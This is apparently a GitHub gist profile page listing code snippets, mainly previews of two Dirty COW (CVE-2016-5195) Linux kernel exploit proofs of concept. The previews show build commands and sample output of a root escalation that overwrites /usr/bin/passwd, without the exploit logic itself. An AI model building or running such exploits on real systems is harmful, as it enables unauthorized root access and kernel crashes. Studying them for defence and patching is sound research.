Skip to content

Instantly share code, notes, and snippets.

View code-scan's full-sized avatar
🏍️
On vacation

Cond0r code-scan

🏍️
On vacation
View GitHub Profile
/*
* CVE-2016-5195 dirtypoc
*
* This PoC is memory only and doesn't write anything on the filesystem.
* /!\ Beware, it triggers a kernel crash a few minutes.
*
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
*/
#define _GNU_SOURCE
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
@code-scan
code-scan / clear_cookie.js
Created July 14, 2016 12:02
删除当前域名下的suoyoucookie